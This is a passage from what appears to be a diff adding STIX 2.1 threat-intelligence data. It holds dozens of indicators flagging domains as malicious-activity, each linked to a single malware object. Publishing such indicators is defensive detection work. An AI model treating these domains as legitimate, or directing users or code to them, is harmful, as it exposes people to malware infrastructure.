"2.1", + "id": "indicator--a2a6ae71-dc32-4b0a-b077-9df37431a58b", + "created": "2023-03-29T12:58:44.426805Z", + "modified": "2023-03-29T12:58:44.426805Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dischargehyperlink.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.426805Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2653182-8b49-4a63-a32b-08b327738498", + "created": "2023-03-29T12:58:44.427406Z", + "modified": "2023-03-29T12:58:44.427406Z", + "relationship_type": "indicates", + "source_ref": "indicator--a2a6ae71-dc32-4b0a-b077-9df37431a58b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b48a5737-2f44-44f0-bbbc-f9b0661c3c97", + "created": "2023-03-29T12:58:44.427573Z", + "modified": "2023-03-29T12:58:44.427573Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unwittingcanning.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.427573Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6de40b03-bfef-4d17-a902-a114076ab8f9", + "created": "2023-03-29T12:58:44.428169Z", + "modified": "2023-03-29T12:58:44.428169Z", + "relationship_type": "indicates", + "source_ref": "indicator--b48a5737-2f44-44f0-bbbc-f9b0661c3c97", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d4a5482-b3fa-413c-9148-027d4f69b31f", + "created": "2023-03-29T12:58:44.428337Z", + "modified": "2023-03-29T12:58:44.428337Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='circusjogger.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.428337Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--699c2afe-95cc-451c-bb0b-584e41a168f1", + "created": "2023-03-29T12:58:44.428925Z", + "modified": "2023-03-29T12:58:44.428925Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d4a5482-b3fa-413c-9148-027d4f69b31f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--feb7b227-bdf3-4553-b2d3-c335b5900cf7", + "created": "2023-03-29T12:58:44.429093Z", + "modified": "2023-03-29T12:58:44.429093Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chiefuntreated.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.429093Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5505e6dd-7f40-40e3-bdc4-445bc244f994", + "created": "2023-03-29T12:58:44.429692Z", + "modified": "2023-03-29T12:58:44.429692Z", + "relationship_type": "indicates", + "source_ref": "indicator--feb7b227-bdf3-4553-b2d3-c335b5900cf7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2ea91cd3-e4e1-4d28-bc82-5156eabad908", + "created": "2023-03-29T12:58:44.429861Z", + "modified": "2023-03-29T12:58:44.429861Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trenchcheek.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.429861Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e6fd6862-4aea-414c-ba75-286146fa0e59", + "created": "2023-03-29T12:58:44.430449Z", + "modified": "2023-03-29T12:58:44.430449Z", + "relationship_type": "indicates", + "source_ref": "indicator--2ea91cd3-e4e1-4d28-bc82-5156eabad908", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--35c306de-a5f8-46a5-93af-45aa9a8ec8b7", + "created": "2023-03-29T12:58:44.430619Z", + "modified": "2023-03-29T12:58:44.430619Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clingcoleslaw.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.430619Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--06239b94-a8a3-4511-92ad-3eb537d3e315", + "created": "2023-03-29T12:58:44.431212Z", + "modified": "2023-03-29T12:58:44.431212Z", + "relationship_type": "indicates", + "source_ref": "indicator--35c306de-a5f8-46a5-93af-45aa9a8ec8b7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--37761a86-b4a0-4d7d-8b1a-bcd0e98ac793", + "created": "2023-03-29T12:58:44.431382Z", + "modified": "2023-03-29T12:58:44.431382Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='papayapastel.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.431382Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--814b19cb-8675-48e9-bb00-86f45db57186", + "created": "2023-03-29T12:58:44.431979Z", + "modified": "2023-03-29T12:58:44.431979Z", + "relationship_type": "indicates", + "source_ref": "indicator--37761a86-b4a0-4d7d-8b1a-bcd0e98ac793", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--412e6b7a-5f42-4d29-b4dd-5129652c8566", + "created": "2023-03-29T12:58:44.432147Z", + "modified": "2023-03-29T12:58:44.432147Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='klick-suara.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.432147Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--acafe429-115a-4861-a79b-7e76779dbe6f", + "created": "2023-03-29T12:58:44.432851Z", + "modified": "2023-03-29T12:58:44.432851Z", + "relationship_type": "indicates", + "source_ref": "indicator--412e6b7a-5f42-4d29-b4dd-5129652c8566", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--17da9373-55d2-430f-abf3-0deca8c7dfb1", + "created": "2023-03-29T12:58:44.433025Z", + "modified": "2023-03-29T12:58:44.433025Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='estimatorretaining.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.433025Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f2d8de7e-a8f5-4d7f-876f-40c8e74072a5", + "created": "2023-03-29T12:58:44.433629Z", + "modified": "2023-03-29T12:58:44.433629Z", + "relationship_type": "indicates", + "source_ref": "indicator--17da9373-55d2-430f-abf3-0deca8c7dfb1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a945392-c089-4ce2-a392-5abfefb3bf9f", + "created": "2023-03-29T12:58:44.433799Z", + "modified": "2023-03-29T12:58:44.433799Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='puttboil.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.433799Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e5829ca5-1cd4-4ba9-983c-59e6469c9880", + "created": "2023-03-29T12:58:44.434381Z", + "modified": "2023-03-29T12:58:44.434381Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a945392-c089-4ce2-a392-5abfefb3bf9f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f9c8813a-66bc-44b2-a321-85934c1d8b21", + "created": "2023-03-29T12:58:44.43455Z", + "modified": "2023-03-29T12:58:44.43455Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gravenesspresuming.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.43455Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3140b4b6-bf37-4d93-b7c8-095048d1eb9c", + "created": "2023-03-29T12:58:44.435147Z", + "modified": "2023-03-29T12:58:44.435147Z", + "relationship_type": "indicates", + "source_ref": "indicator--f9c8813a-66bc-44b2-a321-85934c1d8b21", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--675c5916-8bfc-4957-9dec-ff75aaa81bc3", + "created": "2023-03-29T12:58:44.435314Z", + "modified": "2023-03-29T12:58:44.435314Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='removablecrimp.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.435314Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--47866172-b4dc-45ae-af92-be80b188571b", + "created": "2023-03-29T12:58:44.435903Z", + "modified": "2023-03-29T12:58:44.435903Z", + "relationship_type": "indicates", + "source_ref": "indicator--675c5916-8bfc-4957-9dec-ff75aaa81bc3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2f8fa031-912d-475a-a20f-7add26cdeb0e", + "created": "2023-03-29T12:58:44.436074Z", + "modified": "2023-03-29T12:58:44.436074Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='calendariorosa.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.436074Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cfff6032-3878-44cf-9c76-602ff9973408", + "created": "2023-03-29T12:58:44.436663Z", + "modified": "2023-03-29T12:58:44.436663Z", + "relationship_type": "indicates", + "source_ref": "indicator--2f8fa031-912d-475a-a20f-7add26cdeb0e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--60c5bad8-e1fe-414a-aa89-c435988be9a1", + "created": "2023-03-29T12:58:44.43683Z", + "modified": "2023-03-29T12:58:44.43683Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='transformheaviness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.43683Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--02260b7a-1c44-40df-9348-994472ff3244", + "created": "2023-03-29T12:58:44.437429Z", + "modified": "2023-03-29T12:58:44.437429Z", + "relationship_type": "indicates", + "source_ref": "indicator--60c5bad8-e1fe-414a-aa89-c435988be9a1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--77290570-e9b1-45b5-9c2d-af4cd6393c01", + "created": "2023-03-29T12:58:44.437603Z", + "modified": "2023-03-29T12:58:44.437603Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unwellcheer.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.437603Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bab944de-474a-47b2-8f17-9206152e4e3e", + "created": "2023-03-29T12:58:44.4382Z", + "modified": "2023-03-29T12:58:44.4382Z", + "relationship_type": "indicates", + "source_ref": "indicator--77290570-e9b1-45b5-9c2d-af4cd6393c01", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d2d406f8-5187-4749-bc62-954477f10015", + "created": "2023-03-29T12:58:44.438369Z", + "modified": "2023-03-29T12:58:44.438369Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sketchbounce.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.438369Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6e501292-b12d-4618-80de-105457b82399", + "created": "2023-03-29T12:58:44.438964Z", + "modified": "2023-03-29T12:58:44.438964Z", + "relationship_type": "indicates", + "source_ref": "indicator--d2d406f8-5187-4749-bc62-954477f10015", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--81fe1c4d-886d-4ba2-a3c6-9d108b7214d4", + "created": "2023-03-29T12:58:44.439132Z", + "modified": "2023-03-29T12:58:44.439132Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sevenfoldfeisty.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.439132Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--81d04a7e-b283-43b1-ba48-71619ded890c", + "created": "2023-03-29T12:58:44.440077Z", + "modified": "2023-03-29T12:58:44.440077Z", + "relationship_type": "indicates", + "source_ref": "indicator--81fe1c4d-886d-4ba2-a3c6-9d108b7214d4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--282db49e-9a6c-4fff-b692-f90d0bdd93b7", + "created": "2023-03-29T12:58:44.440279Z", + "modified": "2023-03-29T12:58:44.440279Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='startlingstoop.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.440279Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--27dfc518-642e-4cce-8948-3c0f84ac74c0", + "created": "2023-03-29T12:58:44.44088Z", + "modified": "2023-03-29T12:58:44.44088Z", + "relationship_type": "indicates", + "source_ref": "indicator--282db49e-9a6c-4fff-b692-f90d0bdd93b7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0ad50908-a423-453d-8a46-4fd450b4f3c1", + "created": "2023-03-29T12:58:44.441059Z", + "modified": "2023-03-29T12:58:44.441059Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='niftyolive.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.441059Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c11f8b36-e39b-466f-9da6-01fa283ecb8d", + "created": "2023-03-29T12:58:44.441657Z", + "modified": "2023-03-29T12:58:44.441657Z", + "relationship_type": "indicates", + "source_ref": "indicator--0ad50908-a423-453d-8a46-4fd450b4f3c1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce370eab-48ff-4e81-8549-27378706e8a0", + "created": "2023-03-29T12:58:44.441829Z", + "modified": "2023-03-29T12:58:44.441829Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lakebouncing.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.441829Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--159bc9d6-d00c-4b39-a7b9-e5f0e6b9a6db", + "created": "2023-03-29T12:58:44.442421Z", + "modified": "2023-03-29T12:58:44.442421Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce370eab-48ff-4e81-8549-27378706e8a0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e72ff2f-92ef-4647-88a7-e703da6d9c26", + "created": "2023-03-29T12:58:44.44259Z", + "modified": "2023-03-29T12:58:44.44259Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='frigidityastrology.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.44259Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c460a310-3ef3-455d-a126-df1ce3fc914b", + "created": "2023-03-29T12:58:44.443187Z", + "modified": "2023-03-29T12:58:44.443187Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e72ff2f-92ef-4647-88a7-e703da6d9c26", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--04876a8a-a5e1-498e-8681-24d901b46264", + "created": "2023-03-29T12:58:44.443355Z", + "modified": "2023-03-29T12:58:44.443355Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lucygardens.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.443355Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9de8d59-dfc2-4315-9e4a-042773468e6e", + "created": "2023-03-29T12:58:44.443942Z", + "modified": "2023-03-29T12:58:44.443942Z", + "relationship_type": "indicates", + "source_ref": "indicator--04876a8a-a5e1-498e-8681-24d901b46264", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cb8bf002-43cc-4d15-9cbd-11511113b09b", + "created": "2023-03-29T12:58:44.444109Z", + "modified": "2023-03-29T12:58:44.444109Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='click-grid.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.444109Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a08a71e8-e9e8-4a83-bdc7-7b12735f01ba", + "created": "2023-03-29T12:58:44.444694Z", + "modified": "2023-03-29T12:58:44.444694Z", + "relationship_type": "indicates", + "source_ref": "indicator--cb8bf002-43cc-4d15-9cbd-11511113b09b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8f7cc45a-23e0-4b03-8c44-2e89ee6dae2b", + "created": "2023-03-29T12:58:44.444862Z", + "modified": "2023-03-29T12:58:44.444862Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='impulsesplice.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.444862Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--746fd823-9dc9-4a18-9388-dc36c6c06afa", + "created": "2023-03-29T12:58:44.445454Z", + "modified": "2023-03-29T12:58:44.445454Z", + "relationship_type": "indicates", + "source_ref": "indicator--8f7cc45a-23e0-4b03-8c44-2e89ee6dae2b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c5b399f-8172-4f12-94c1-5006deba9878", + "created": "2023-03-29T12:58:44.445633Z", + "modified": "2023-03-29T12:58:44.445633Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='retireddevotee.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.445633Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f82cf265-3806-44f9-afa3-0e7e4ba5aefe", + "created": "2023-03-29T12:58:44.446333Z", + "modified": "2023-03-29T12:58:44.446333Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c5b399f-8172-4f12-94c1-5006deba9878", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--55e5ac63-a7ab-4d78-95e4-a1581a4a4302", + "created": "2023-03-29T12:58:44.446544Z", + "modified": "2023-03-29T12:58:44.446544Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cycleriders.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.446544Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dc2a2305-fde6-4433-9595-df234441696b", + "created": "2023-03-29T12:58:44.44714Z", + "modified": "2023-03-29T12:58:44.44714Z", + "relationship_type": "indicates", + "source_ref": "indicator--55e5ac63-a7ab-4d78-95e4-a1581a4a4302", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--07baa35c-98be-4a34-adfd-495ba27b62b2", + "created": "2023-03-29T12:58:44.447309Z", + "modified": "2023-03-29T12:58:44.447309Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='washclothremnant.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.447309Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--def1cd3c-259d-479b-baa2-86981b301699", + "created": "2023-03-29T12:58:44.448028Z", + "modified": "2023-03-29T12:58:44.448028Z", + "relationship_type": "indicates", + "source_ref": "indicator--07baa35c-98be-4a34-adfd-495ba27b62b2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d6ac1f2d-17cb-4b11-bc14-365b736f55ab", + "created": "2023-03-29T12:58:44.4482Z", + "modified": "2023-03-29T12:58:44.4482Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='exclaimflashing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.4482Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--94c815ae-1207-440e-a910-94d9c88d2da4", + "created": "2023-03-29T12:58:44.448795Z", + "modified": "2023-03-29T12:58:44.448795Z", + "relationship_type": "indicates", + "source_ref": "indicator--d6ac1f2d-17cb-4b11-bc14-365b736f55ab", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--abd88d42-b0dd-4ae6-9f27-b3780d654f74", + "created": "2023-03-29T12:58:44.448964Z", + "modified": "2023-03-29T12:58:44.448964Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mostpapers.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.448964Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0bbd97fe-8352-434f-adff-9e715da9fef7", + "created": "2023-03-29T12:58:44.44956Z", + "modified": "2023-03-29T12:58:44.44956Z", + "relationship_type": "indicates", + "source_ref": "indicator--abd88d42-b0dd-4ae6-9f27-b3780d654f74", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bc6acb79-0c45-4931-8d0e-dcbbaf775054", + "created": "2023-03-29T12:58:44.44973Z", + "modified": "2023-03-29T12:58:44.44973Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tinseltreadmill.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.44973Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b9d4bb7-2e66-48f8-93ca-eb02a74825ac", + "created": "2023-03-29T12:58:44.450322Z", + "modified": "2023-03-29T12:58:44.450322Z", + "relationship_type": "indicates", + "source_ref": "indicator--bc6acb79-0c45-4931-8d0e-dcbbaf775054", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8f2edf7a-9b96-4a2c-8c9a-d994c4954d9a", + "created": "2023-03-29T12:58:44.450489Z", + "modified": "2023-03-29T12:58:44.450489Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dailytaunt.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.450489Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--449d09a2-70c6-46ca-b5cb-cabb9f859b6c", + "created": "2023-03-29T12:58:44.451074Z", + "modified": "2023-03-29T12:58:44.451074Z", + "relationship_type": "indicates", + "source_ref": "indicator--8f2edf7a-9b96-4a2c-8c9a-d994c4954d9a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3cb0ba18-007d-463e-be65-32c745933549", + "created": "2023-03-29T12:58:44.451242Z", + "modified": "2023-03-29T12:58:44.451242Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bobbingsplice.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.451242Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1d60762e-5b27-4be1-aee1-49c134d4db9d", + "created": "2023-03-29T12:58:44.451836Z", + "modified": "2023-03-29T12:58:44.451836Z", + "relationship_type": "indicates", + "source_ref": "indicator--3cb0ba18-007d-463e-be65-32c745933549", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c883d09a-679c-43da-a882-4bdf76ff0322", + "created": "2023-03-29T12:58:44.452002Z", + "modified": "2023-03-29T12:58:44.452002Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scoringunthread.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.452002Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--45320ad9-b1b3-4af9-bc4b-f9bd183de3cb", + "created": "2023-03-29T12:58:44.452597Z", + "modified": "2023-03-29T12:58:44.452597Z", + "relationship_type": "indicates", + "source_ref": "indicator--c883d09a-679c-43da-a882-4bdf76ff0322", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d6855682-9dd8-4de7-acf8-2a7cf50f499d", + "created": "2023-03-29T12:58:44.452778Z", + "modified": "2023-03-29T12:58:44.452778Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='finalecane.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.452778Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3f5e3128-9d9b-458d-bcbf-73d69cb89a7a", + "created": "2023-03-29T12:58:44.453379Z", + "modified": "2023-03-29T12:58:44.453379Z", + "relationship_type": "indicates", + "source_ref": "indicator--d6855682-9dd8-4de7-acf8-2a7cf50f499d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eedf3702-322e-47c7-97a0-57c0f6813942", + "created": "2023-03-29T12:58:44.453559Z", + "modified": "2023-03-29T12:58:44.453559Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blinkingcart.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.453559Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c8ddc273-bbc1-4e22-b4d5-5508b1b71ee8", + "created": "2023-03-29T12:58:44.454153Z", + "modified": "2023-03-29T12:58:44.454153Z", + "relationship_type": "indicates", + "source_ref": "indicator--eedf3702-322e-47c7-97a0-57c0f6813942", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f1418012-ff7d-4b82-9720-fcb09dd735a3", + "created": "2023-03-29T12:58:44.454322Z", + "modified": "2023-03-29T12:58:44.454322Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='geraniumcascade.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.454322Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--942fb749-a235-44dd-a59d-d25adc9cbc90", + "created": "2023-03-29T12:58:44.455035Z", + "modified": "2023-03-29T12:58:44.455035Z", + "relationship_type": "indicates", + "source_ref": "indicator--f1418012-ff7d-4b82-9720-fcb09dd735a3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4a896e06-4acb-42a1-b4a4-4a95afa0efd1", + "created": "2023-03-29T12:58:44.455206Z", + "modified": "2023-03-29T12:58:44.455206Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pikiram-rakyat.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.455206Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7835e8f3-f044-4a6e-b2fb-c15228042b00", + "created": "2023-03-29T12:58:44.4558Z", + "modified": "2023-03-29T12:58:44.4558Z", + "relationship_type": "indicates", + "source_ref": "indicator--4a896e06-4acb-42a1-b4a4-4a95afa0efd1", + "target_ref": 